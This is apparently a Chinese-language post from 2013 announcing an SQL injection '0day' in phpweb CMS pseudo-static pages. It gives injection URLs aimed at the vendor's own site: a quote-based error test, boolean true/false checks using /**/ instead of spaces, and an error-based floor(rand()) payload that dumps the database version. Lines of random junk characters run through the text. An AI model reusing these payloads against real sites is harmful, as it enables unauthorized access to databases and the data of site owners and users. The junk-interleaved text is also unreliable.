phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
, w$ C3 y& @  t2 V
1 Y  N# w' [) |! Q2 z! G! q: [主站：http://phpweb.net/
. }, t5 c4 ^1 U* \; h: s加’检测：
: W# \* M6 J  N- A; H
* e# D3 _5 Q* V, @7 U; ^9 t3 ahttp://www.phpweb.net/down/html/?772′.html

8 _* J, j- B" W; x; H$ i$ G出错
! Z* r% ~( B4 }" o) K存在注入。
不能用空格，只能用/*罗
) _7 h' `# p6 g  {: E4 B3 J7 h$ Ehttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
- p# z# Q  U+ `$ Q' t9 c
( q' i0 _$ K! Z* a) a- }# F- @http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

?
1 |. B# N7 H4 c8 V1 s% r) z4 X7 U: ^1
/ P0 |3 v  q7 Z% O, n7 qhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
) M8 d& x" c/ e" ~  C  B更新日期: 2013-01-03 13:39:50